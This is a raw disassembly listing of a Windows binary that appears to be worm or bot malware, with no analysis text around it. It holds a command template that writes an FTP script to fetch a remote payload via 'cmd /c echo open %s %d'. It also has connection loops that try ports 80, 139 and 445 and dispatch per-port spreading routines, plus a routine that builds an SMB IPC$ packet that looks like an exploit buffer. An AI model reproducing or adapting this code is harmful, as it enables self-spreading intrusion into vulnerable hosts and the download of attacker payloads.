		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_43FC00
		push	eax
		call	sub_419330
		add	esp, 0Ch
		mov	eax, offset byte_4370EC
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D63A0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408882
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_417E80
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_43FA98
		push	eax
		call	sub_40B21F
		xor	ebx, ebx
		add	esp, 30h
		cmp	[ebp-4], ebx
		jnz	short loc_40BA89
		xor	eax, eax
		jmp	loc_40BB93
; ---------------------------------------------------------------------------


loc_40BA89:				; CODE XREF: .data:0040BA80j
		mov	[ebp-0Ch], ebx


loc_40BA8C:				; CODE XREF: .data:0040BB6Ej
		test	ebx, ebx
		jnz	loc_40BB74
		push	6
		push	1
		push	2
		call	dword_4E051C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40BB5C
		xor	eax, eax
		lea	edi, [ebp-1Eh]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-20h], 2
		call	dword_4D6668	; ntohs
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D66A8	; inet_addr
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BB51
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40BB19
		sub	esp, 10h
		lea	eax, [ebp-0Dh]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40BBEC
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40B92D
		add	esp, 1Ch
		jmp	short loc_40BB4E
; ---------------------------------------------------------------------------


loc_40BB19:				; CODE XREF: .data:0040BAF1j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40BB33
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40B718
		jmp	short loc_40BB4B
; ---------------------------------------------------------------------------


loc_40BB33:				; CODE XREF: .data:0040BB23j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40BB51
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40B639


loc_40BB4B:				; CODE XREF: .data:0040BB31j
		add	esp, 0Ch


loc_40BB4E:				; CODE XREF: .data:0040BB17j
		movzx	ebx, al


loc_40BB51:				; CODE XREF: .data:0040BAE8j
					; .data:0040BB3Dj
		push	esi
		call	dword_4D6700	; closesocket
		test	ebx, ebx
		jnz	short loc_40BB67


loc_40BB5C:				; CODE XREF: .data:0040BAA5j
		push	3E8h
		call	dword_4E033C	; Sleep


loc_40BB67:				; CODE XREF: .data:0040BB5Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40BA8C


loc_40BB74:				; CODE XREF: .data:0040BA8Ej
		lea	ecx, [ebp-8]
		call	sub_40B04C
		test	ebx, ebx
		jz	short loc_40BB91
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43F070[eax]
		inc	dword ptr [eax]


loc_40BB91:				; CODE XREF: .data:0040BB7Ej
		mov	eax, ebx


loc_40BB93:				; CODE XREF: .data:0040BA84j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BB98:				; DATA XREF: .data:00437008o
		call	sub_40C15A
		jmp	$+5
		push	offset nullsub_1
		call	sub_419F60
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40BBAE	proc near		; CODE XREF: sub_40B7B6+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40BF18
		mov	eax, esi
		pop	esi
		retn	4
sub_40BBAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBC6	proc near		; CODE XREF: sub_40B7B6+152p
					; sub_4332D0+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40BF18
		push	0FFFFFFFFh
		push	0
		push	edi
		mov	ecx, esi
		call	sub_40BD29
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40BBC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBEC	proc near		; CODE XREF: .data:0040BB03p
					; sub_433270+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40BF18
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40BE1F
		mov	eax, esi
		pop	esi
		retn	8
sub_40BBEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BC0F	proc near		; CODE XREF: sub_40B7B6+161p
					; sub_40B92D+9Cp ...
		push	1
		call	sub_40BF18
		retn
sub_40BC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BC17	proc near		; CODE XREF: sub_40B7B6+11Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40BC34
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BCCE
		pop	esi
		retn	4
sub_40BC17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC34	proc near		; CODE XREF: sub_40BC17+7p
					; sub_40BE1F+7p
		jmp	sub_414EC0
sub_40BC34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC39	proc near		; CODE XREF: sub_40B7B6+107p
					; sub_40B7B6+138p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40BC50
		call	sub_433270


loc_40BC50:				; CODE XREF: sub_40BC39+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40BC88
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40BE6C
		test	al, al
		jz	short loc_40BC88
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [esi+4]
		push	[ebp+arg_0]
		add	eax, [esi+8]
		push	eax
		call	sub_40BC90
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BE3C


loc_40BC88:				; CODE XREF: sub_40BC39+1Bj
					; sub_40BC39+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40BC39	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BC90	proc near		; CODE XREF: sub_40BC39+3Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+arg_4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[esp+8+arg_0]
		call	sub_417700
		add	esp, 0Ch
		retn
sub_40BC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCA9	proc near		; CODE XREF: sub_40B92D+59p
					; sub_40B92D+62p ...

; FUNCTION CHUNK AT 0040BF12 SIZE 00000006 BYTES

		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40BCB5
		jmp	loc_40BF12
; ---------------------------------------------------------------------------

locret_40BCB5:				; CODE XREF: sub_40BCA9+5j
		retn
sub_40BCA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCB6	proc near		; CODE XREF: sub_40B92D+32p
					; sub_40B92D+3Cp
		mov	eax, [ecx+8]
		retn
sub_40BCB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCBA	proc near		; CODE XREF: sub_40B7B6+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40BCCB
		push	0
		push	eax
		call	sub_40BE6C

locret_40BCCB:				; CODE XREF: sub_40BCBA+7j
		retn	4
sub_40BCBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCCE	proc near		; CODE XREF: sub_40BC17+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40BCE5
		call	sub_433270


loc_40BCE5:				; CODE XREF: sub_40BCCE+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40BD1C
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40BE6C
		test	al, al
		jz	short loc_40BD1C
		push	[ebp+arg_4]
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	[ebp+arg_0]
		push	eax
		call	sub_40BD24
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BE3C


loc_40BD1C:				; CODE XREF: sub_40BCCE+1Bj
					; sub_40BCCE+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40BCCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BD24	proc near		; CODE XREF: sub_40BCCE+3Ep
					; sub_40BD29+D9p ...
		jmp	sub_419330
sub_40BD24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD29	proc near		; CODE XREF: sub_40BBC6+1Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_40BE1B
		mov	ebx, [ebp+arg_4]
		cmp	eax, ebx
		jnb	short loc_40BD45
		call	sub_433570


loc_40BD45:				; CODE XREF: sub_40BD29+15j
		mov	ecx, [ebp+arg_0]
		call	sub_40BE1B
		mov	edi, eax
		sub	edi, ebx
		cmp	[ebp+arg_8], edi
		jnb	short loc_40BD59
		mov	edi, [ebp+arg_8]


loc_40BD59:				; CODE XREF: sub_40BD29+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	esi, ecx
		jnz	short loc_40BD7B
		add	edi, ebx
		push	0FFFFFFFFh
		push	edi
		mov	ecx, esi
		call	sub_40BFA8
		push	ebx
		push	0
		mov	ecx, esi
		call	sub_40BFA8
		jmp	loc_40BE12
; ---------------------------------------------------------------------------


loc_40BD7B:				; CODE XREF: sub_40BD29+35j
		test	edi, edi
		jbe	short loc_40BDE4
		call	sub_40BE1B
		cmp	edi, eax
		jnz	short loc_40BDE4
		mov	ecx, [ebp+arg_0]
		call	sub_40BCA9
		push	eax
		mov	ecx, esi
		call	sub_40C0ED
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40BDE4
		push	[ebp+arg_0]
		push	esi
		call	sub_40C145
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40BDE4
		push	1
		mov	ecx, esi
		call	sub_40BF18
		mov	ecx, [ebp+arg_0]
		call	sub_40BCA9
		mov	ecx, [ebp+arg_0]
		mov	[esi+4], eax
		call	sub_40BE1B
		mov	ecx, [ebp+arg_0]
		mov	[esi+8], eax
		call	sub_40C024
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40C0ED
		inc	byte ptr [eax]
		jmp	short loc_40BE12
; ---------------------------------------------------------------------------


loc_40BDE4:				; CODE XREF: sub_40BD29+54j
					; sub_40BD29+5Dj ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40BE6C
		test	al, al
		jz	short loc_40BE12
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_40BCA9
		add	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40BD24
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BE3C


loc_40BE12:				; CODE XREF: sub_40BD29+4Dj
					; sub_40BD29+B9j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40BD29	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE1B	proc near		; CODE XREF: sub_40BD29+Bp
					; sub_40BD29+1Fp ...
		mov	eax, [ecx+8]
		retn
sub_40BE1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE1F	proc near		; CODE XREF: sub_40BBEC+18p
					; sub_40C102+27p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40BC34
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BF72
		pop	esi
		retn	4
sub_40BE1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE3C	proc near		; CODE XREF: sub_40BC39+4Ap
					; sub_40BCCE+49p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40BE5F
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40BE3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE5F	proc near		; CODE XREF: sub_40BE3C+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40BE5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE6C	proc near		; CODE XREF: sub_40BC39+28p
					; sub_40BCBA+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40C012
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40BE83
		call	sub_433270


loc_40BE83:				; CODE XREF: sub_40BE6C+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40BEC3
		push	eax
		mov	ecx, esi
		call	sub_40C0ED
		cmp	[eax], bl
		jz	short loc_40BEC3
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C0ED
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40BEC3
		cmp	edi, ebx
		mov	ecx, esi
		jnz	short loc_40BF04
		push	dword ptr [esi+4]
		call	sub_40C0ED
		dec	byte ptr [eax]
		push	ebx


loc_40BEB8:				; CODE XREF: sub_40BE6C+63j
		mov	ecx, esi
		call	sub_40BF18


loc_40BEBF:				; CODE XREF: sub_40BE6C+68j
					; sub_40BE6C+72j
		xor	al, al
		jmp	short loc_40BF0C
; ---------------------------------------------------------------------------


loc_40BEC3:				; CODE XREF: sub_40BE6C+1Ej
					; sub_40BE6C+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40BEE0
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40BED1
		push	1
		jmp	short loc_40BEB8
; ---------------------------------------------------------------------------


loc_40BED1:				; CODE XREF: sub_40BE6C+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40BEBF
		push	ebx
		mov	ecx, esi
		call	sub_40BE3C
		jmp	short loc_40BEBF
; ---------------------------------------------------------------------------


loc_40BEE0:				; CODE XREF: sub_40BE6C+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40BEFD
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40BEF2
		cmp	eax, edi
		jnb	short loc_40BF0A


loc_40BEF2:				; CODE XREF: sub_40BE6C+80j
		push	1
		mov	ecx, esi
		call	sub_40BF18
		jmp	short loc_40BF02
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40BE6C+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40BF0A


loc_40BF02:				; CODE XREF: sub_40BE6C+8Fj
		mov	ecx, esi


loc_40BF04:				; CODE XREF: sub_40BE6C+3Fj
		push	edi
		call	sub_40C028


loc_40BF0A:				; CODE XREF: sub_40BE6C+84j
					; sub_40BE6C+94j
		mov	al, 1


loc_40BF0C:				; CODE XREF: sub_40BE6C+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40BE6C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BCA9


loc_40BF12:				; CODE XREF: sub_40BCA9+7j
		mov	eax, offset dword_434478
		retn
; END OF FUNCTION CHUNK	FOR sub_40BCA9

; =============== S U B	R O U T	I N E =======================================



sub_40BF18	proc near		; CODE XREF: sub_40BBAE+Dp
					; sub_40BBC6+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40BF64
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40BF64
		push	eax
		call	sub_40C0ED
		cmp	[eax], bl
		jz	short loc_40BF52
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C0ED
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40BF52
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C0ED
		dec	byte ptr [eax]
		jmp	short loc_40BF64
; ---------------------------------------------------------------------------


loc_40BF52:				; CODE XREF: sub_40BF18+1Bj
					; sub_40BF18+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	sub_40C0F5


loc_40BF64:				; CODE XREF: sub_40BF18+Aj
					; sub_40BF18+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40BF18	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BF72	proc near		; CODE XREF: sub_40BE1F+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+arg_4]
		mov	esi, ecx
		call	sub_40BE6C
		test	al, al
		jz	short loc_40BFA2
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [esi+4]
		call	sub_40BD24
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+arg_4]
		call	sub_40BE3C


loc_40BFA2:				; CODE XREF: sub_40BF72+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40BF72	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BFA8	proc near		; CODE XREF: sub_40BD29+3Ep
					; sub_40BD29+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40BFBB
		call	sub_433570


loc_40BFBB:				; CODE XREF: sub_40BFA8+Cj
		mov	ecx, edi
		call	sub_40C102
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40BFD1
		mov	ebx, eax


loc_40BFD1:				; CODE XREF: sub_40BFA8+25j
		test	ebx, ebx
		jbe	short loc_40C005
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40C00D
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40BE6C
		test	al, al
		jz	short loc_40C005
		push	esi
		mov	ecx, edi
		call	sub_40BE3C


loc_40C005:				; CODE XREF: sub_40BFA8+2Bj
					; sub_40BFA8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C00D	proc near		; CODE XREF: sub_40BFA8+3Ap
		jmp	sub_419A90
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C012	proc near		; CODE XREF: sub_40BE6C+5p
					; sub_40C028+1Ep
		call	sub_40C141
		cmp	eax, 2
		ja	short loc_40C020
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40C020:				; CODE XREF: sub_40C012+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40C012	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C024	proc near		; CODE XREF: sub_40BD29+A5p
		mov	eax, [ecx+0Ch]
		retn
sub_40C024	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C028	proc near		; CODE XREF: sub_40BE6C+99p
		mov	eax, offset loc_433F30
		call	sub_4191E0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		or	edi, 1Fh
		call	sub_40C012
		cmp	eax, edi
		jnb	short loc_40C052
		mov	edi, [ebp+8]


loc_40C052:				; CODE XREF: sub_40C028+25j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40C131
		mov	[ebp+8], eax
		jmp	short loc_40C08B
; ---------------------------------------------------------------------------


loc_40C068:				; DATA XREF: .data:00436350o
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[ebp-18h], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40C131
		mov	[ebp+8], eax
		mov	eax, offset loc_40C085
		retn
; ---------------------------------------------------------------------------


loc_40C085:				; DATA XREF: sub_40C028+57o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40C08B:				; CODE XREF: sub_40C028+3Ej
		mov	eax, [esi+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40C0AD
		cmp	eax, edi
		jbe	short loc_40C09C
		mov	eax, edi


loc_40C09C:				; CODE XREF: sub_40C028+70j
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40BD24
		add	esp, 0Ch


loc_40C0AD:				; CODE XREF: sub_40C028+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40BF18
		mov	eax, [ebp+8]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40C0ED
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40C0D4
		mov	edi, ebx


loc_40C0D4:				; CODE XREF: sub_40C028+A8j
		push	edi
		mov	ecx, esi
		call	sub_40BE3C
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C028	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0ED	proc near		; CODE XREF: sub_40BD29+6Ap
					; sub_40BD29+B2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40C0ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0F5	proc near		; CODE XREF: sub_40BF18+47p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_419DD0
		pop	ecx
		retn	8
sub_40C0F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C102	proc near		; CODE XREF: sub_40BFA8+15p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_40C12E
		push	edi
		call	sub_40C0ED
		mov	al, [eax]
		test	al, al
		jz	short loc_40C12E
		cmp	al, 0FFh
		jz	short loc_40C12E
		push	1
		mov	ecx, esi
		call	sub_40BF18
		push	edi
		mov	ecx, esi
		call	sub_40BE1F


loc_40C12E:				; CODE XREF: sub_40C102+9j
					; sub_40C102+15j ...
		pop	edi
		pop	esi
		retn
sub_40C102	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C131	proc near		; CODE XREF: sub_40C028+36p
					; sub_40C028+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40C148
		pop	ecx
		pop	ecx
		retn	8
sub_40C131	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C141	proc near		; CODE XREF: sub_40C012p
		or	eax, 0FFFFFFFFh
		retn
sub_40C141	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C145	proc near		; CODE XREF: sub_40BD29+78p
		mov	al, 1
		retn
sub_40C145	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C148	proc near		; CODE XREF: sub_40C131+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40C152
		xor	eax, eax


loc_40C152:				; CODE XREF: sub_40C148+6j
		push	eax
		call	sub_419E80
		pop	ecx
		retn
sub_40C148	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C15A	proc near		; CODE XREF: .data:loc_40BB98p
					; sub_4336B0+3p
		test	byte_4DE308, 1
		jnz	short locret_40C16A
		or	byte_4DE308, 1

locret_40C16A:				; CODE XREF: sub_40C15A+7j
		retn
sub_40C15A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C16C	proc near		; CODE XREF: sub_40A84F+1D7p
					; DATA XREF: .data:off_43F06Co

var_5214	= byte ptr -5214h
var_4214	= byte ptr -4214h
var_3214	= byte ptr -3214h
var_3212	= byte ptr -3212h
var_2214	= byte ptr -2214h
var_21F0	= byte ptr -21F0h
var_1FE0	= byte ptr -1FE0h
var_1FDC	= byte ptr -1FDCh
var_1214	= byte ptr -1214h
var_120C	= dword	ptr -120Ch
var_1204	= dword	ptr -1204h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_1160	= dword	ptr -1160h
var_115C	= dword	ptr -115Ch
var_1144	= dword	ptr -1144h
var_1088	= dword	ptr -1088h
var_EB4		= dword	ptr -0EB4h
var_EAC		= dword	ptr -0EACh
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 5214h
		call	sub_4181D0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_41178F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C357
		cmp	eax, 1
		jz	loc_40C357
		push	0
		push	1
		push	2
		call	dword_4D66E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40C357
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_A0]
		call	dword_4D6668	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4D66A8	; inet_addr
		push	offset byte_4370EC
		mov	[ebp+var_10], eax
		push	[ebp+arg_0]
		call	sub_408882
		pop	ecx
		mov	esi, 1000h
		push	eax
		lea	eax, [ebp+var_5214]
		push	esi
		push	eax
		call	sub_4094DA
		add	esp, 10h
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40C357
		push	122h
		push	offset aS_13	; "è"
		lea	eax, [ebp+var_4214]
		push	esi
		push	eax
		call	sub_409562
		mov	ebx, eax
		push	25Ch
		lea	eax, [ebp+var_2214]
		push	offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
		push	eax
		call	sub_419330
		lea	eax, [ebp+var_4214]
		push	ebx
		push	eax
		lea	eax, [ebp+var_21F0]
		push	eax
		call	sub_419330
		push	[ebp+var_4]
		lea	eax, [ebp+var_5214]
		push	eax
		lea	eax, [ebp+var_21F0]
		push	eax
		call	sub_419330
		push	4
		lea	eax, [ebp+var_1FE0]
		push	(offset	loc_4404EF+1)
		push	eax
		call	sub_419330
		add	esp, 40h
		lea	eax, [ebp+var_1FDC]
		push	4
		push	(offset	loc_4404EB+1)
		push	eax
		call	sub_419330
		mov	eax, 12Eh
		add	esp, 0Ch
		add	[ebp+var_EB4], eax
		add	[ebp+var_EAC], eax
		mov	eax, 250h
		push	10h
		add	[ebp+var_120C],	eax
		add	[ebp+var_1204],	eax
		add	[ebp+var_1194],	eax
		add	[ebp+var_1190],	eax
		add	[ebp+var_1160],	eax
		add	[ebp+var_115C],	eax
		add	[ebp+var_1144],	eax
		add	[ebp+var_1088],	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4D6610	; connect
